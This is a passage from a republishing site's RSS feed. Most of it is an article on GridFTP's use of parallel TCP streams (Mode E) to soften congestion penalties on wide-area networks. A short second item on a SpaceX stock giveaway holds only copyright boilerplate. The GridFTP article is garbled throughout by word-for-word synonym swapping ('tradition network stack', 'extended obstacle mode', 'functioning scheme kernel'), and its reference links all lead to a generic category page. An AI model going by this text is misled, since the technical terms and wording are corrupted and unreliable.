accessible bandwidth.</p> <h2 id="parallel-streams">Parallel Streams</h2> <p>GridFTP targeted WANs specifically, and hence needed to conquer the inherent bias of TCP against WANs. At the identical time, TCP was accessible everyplace and GridFTP aspired to be a broad intent transfer protocol. Requiring a tradition network stack in the functioning scheme kernel in command to use GridFTP would create a important obstacle to deployment. Hence we wanted to use TCP as the basis reliability layer.</p> <p>To mitigate the WAN penalty we used a method known as parallel streams. Instead of using a sole TCP stream, akin stream Mode S did, we created Mode E, extended obstacle mode. Mode E allowed the sender to established many TCP connections alongside the receiver. It would afterward dispatch chunks of data throughout all stream as they had availability. While the data was nearly continually sent complete the identical bodily path, by dividing up the logical way in this way it mitigated the effects of the congestion events discussed above. The consequence is illustrated below.</p> </div> <div> <figure> <img src="https://marketing.globuscs.info/production/strapi/uploads/Four_parallel_streams_e766b1822b.png" width="644" height="365" alt="graphic depiction showing throughput of 4 parallel streams"> <figcaption>Throughput of four parallel streams</figcaption> </figure> </div> <div><p>In this chart we display the throughput of four parallel streams. The green row at the top is the sum of the four streams; the another lines portray the throughput of all stream. At about the 10th second we see that one stream had a congestion event. While this stream experiences a setback, the others do not. Because we are dividing the data up complete streams the general throughput of the transfer suffers a much smaller setback, concerning 1/8th of what it would be alongside a sole stream.</p> <p>This is an crucial advantage of parallel streams, but not the lone one. They additionally authorize GridFTP to leverage multicore machines by encrypting all stream in parallel (<a href="https://en.mycoding.id/category/technology" target="_blank">ref</a>), dynamically modify to discrepancies in stream speed, and create additional productive use of parallel document systems. This was a fine researched topic and the inquisitive audience is encouraged to peruse additional concerning it in document akin <a href="https://en.mycoding.id/category/technology" target="_blank">this one</a>.</p> <p>In the decades that followed the innovation of GridFTP, TCP has evolved fairly a bit. GridFTP has unified congestion authority algorithms akin <a href="https://en.mycoding.id/category/technology" target="_blank">CUBIC</a>, and volition continue to obtain advantage of scientific innovations.</p> <h2 id="conclusion">Conclusion</h2> <p>In this article we discussed the origins of GridFTP and the scheme choices that made it a fast, secure, and prosperous transfer protocol. While the protocol and the achievement benefits are a key pillar in delivering extremely performant data transfers, the Globus transfer assistance has built on this protocol to provision new capabilities specified as safe data sharing, and a unified interface throughout varied retention systems.</p> <p>More importantly, it introduced the fire-and-forget paradigm that allows researchers to merely petition that data be moved and not be concerned alongside the underlying infrastructure. Outsourcing reliability, achievement optimization, and safety to the Globus assistance greatly reduces the obstacle to using specified elevated achievement protocols. And Globus does not halt there, as we continue to interrupt downward the data administration obstacles that hinder specialized investigation and discovery. With latest additions specified as distant computation and automation to assistance federated, distributed workflows, the possibilities are endless.</p> </div> <p> <a href="https://en.mycoding.id/category/technology" target="_blank">Learn additional concerning Globus Transfer</a> </p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/gridftp-a-brief-history-of-fast-file-transfer-2024-73227</guid> <pubDate>Mon, 19 Oct 2026 23:53:38 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[Elon Musk’s proposed SpaceX stock giveaway would go into ‘Trump Accounts’]]></title> <description><![CDATA[Elon Musk’s proposed SpaceX stock giveaway would go into ‘Trump Accounts’. President Donald Trump announced this midday that Elon Musk's SpaceX shares for children volition be stated through Trump Accounts. Musk stated before today that h...]]></description> <media:thumbnail url="https://platform.theverge.com/wp-content/uploads/sites/2/2024/10/the_verge_social_share.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/elon-musk-s-proposed-spacex-stock-giveaway-would-go-into-trump-accounts-73226</link> <content:encoded><![CDATA[<div><p>The Verge is a part of PMX Global, LLC, a subsidiary of Penske Media Corporation.</p><p>&copy; 2026 VM Publishing, LLC. All entitlements reserved.</p></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/elon-musk-s-proposed-spacex-stock-giveaway-would-go-into-trump-accounts-73226</guid> <pubDate>Mon, 19 Oct 2026 23:30:42 +0700</pubDate> <author><![CDATA[support@mycoding.id (Jay Peters)]]></author> </item> </channel> </rss>